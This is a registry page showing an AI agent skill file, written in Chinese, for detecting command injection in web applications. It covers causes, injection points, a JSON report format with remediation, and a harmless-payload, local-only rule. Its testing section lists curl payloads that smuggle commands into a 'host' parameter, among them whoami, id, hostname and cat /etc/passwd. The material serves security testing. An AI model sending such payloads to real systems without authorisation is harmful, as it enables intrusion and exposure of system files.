agentleFS
cdxiaodongcdxiaodong/cain-agent/skills/web/command-injection/SKILL.md

command-injection

Skill953 starsChanged 2 months agoApache-2.0View on GitHub

命令注入发生在 Web 应用将用户输入未过滤直接拼接到系统命令中时,攻击者可执行任意系统命令。 常见成因: - 用户输入直接拼接 shell 命令(ping {user_input}) - 未过滤特殊字符(; | && $() 反引号) - 使用 system() exec() popen() 等危险函数 常见场景: - 网络诊断功能(ping/traceroute/nslookup) - 文件操作功能(压缩/解压/转换) - 系统管理接口(重启服务/查看日志) Payload 1 — 分号分隔: Payload 2 — 管道符: Payload 3 — && 逻辑与: Payload 4 — 命令替换: 判断依据: - 响应包含 uid= → id 命令被执行 - 响应包含主机名 → hostname 命令被执行 - 响应包含 /etc/passwd 内容 → cat 命令被执行

5 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use prototype-pollution.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

    Also in 3 projects that use this

The file

Files
SKILL.md

命令注入漏洞检测技能

原理

命令注入发生在 Web 应用将用户输入未过滤直接拼接到系统命令中时,攻击者可执行任意系统命令。

常见成因:

  • 用户输入直接拼接 shell 命令(ping {user_input})
  • 未过滤特殊字符(; | && $() 反引号)
  • 使用 system() exec() popen() 等危险函数

常见场景:

  • 网络诊断功能(ping/traceroute/nslookup)
  • 文件操作功能(压缩/解压/转换)
  • 系统管理接口(重启服务/查看日志)

检测方法

1. 定位注入点

  • Ping 功能:/api/ping?host=127.0.0.1
  • DNS 查询:/api/nslookup?domain=example.com
  • 文件转换:/api/convert?file=test.pdf

2. 构造命令拼接 Payload

Payload 1 — 分号分隔:

curl "http://target/api/ping?host=127.0.0.1;whoami"

Payload 2 — 管道符:

curl "http://target/api/ping?host=127.0.0.1|id"

Payload 3 — && 逻辑与:

curl "http://target/api/ping?host=127.0.0.1%26%26cat%20/etc/passwd"

Payload 4 — 命令替换:

curl "http://target/api/ping?host=\$(hostname)"
curl "http://target/api/ping?host=\`hostname\`"

3. 验证命令执行

判断依据:

  • 响应包含 uid= → id 命令被执行
  • 响应包含主机名 → hostname 命令被执行
  • 响应包含 /etc/passwd 内容 → cat 命令被执行

示例响应:

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.042 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)

工具

工具用途
curl命令行测试注入
Burp Suite抓包修改参数
Commix自动化命令注入工具

输出格式

{
  "finding_id": "command-injection-001",
  "issue_type": "command-injection",
  "severity": "critical",
  "endpoint": "/api/ping",
  "parameter": "host",
  "payload": "127.0.0.1;whoami",
  "evidence": "响应包含 uid=33(www-data)",
  "remediation": "使用参数化命令(subprocess list 形式),过滤特殊字符"
}

注意事项

  • 只读原则:仅检测,不执行危险命令(如删除系统文件)
  • 无害 Payload:使用 whoami id hostname 验证
  • 零触网:测试用 mock 或本地环境

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.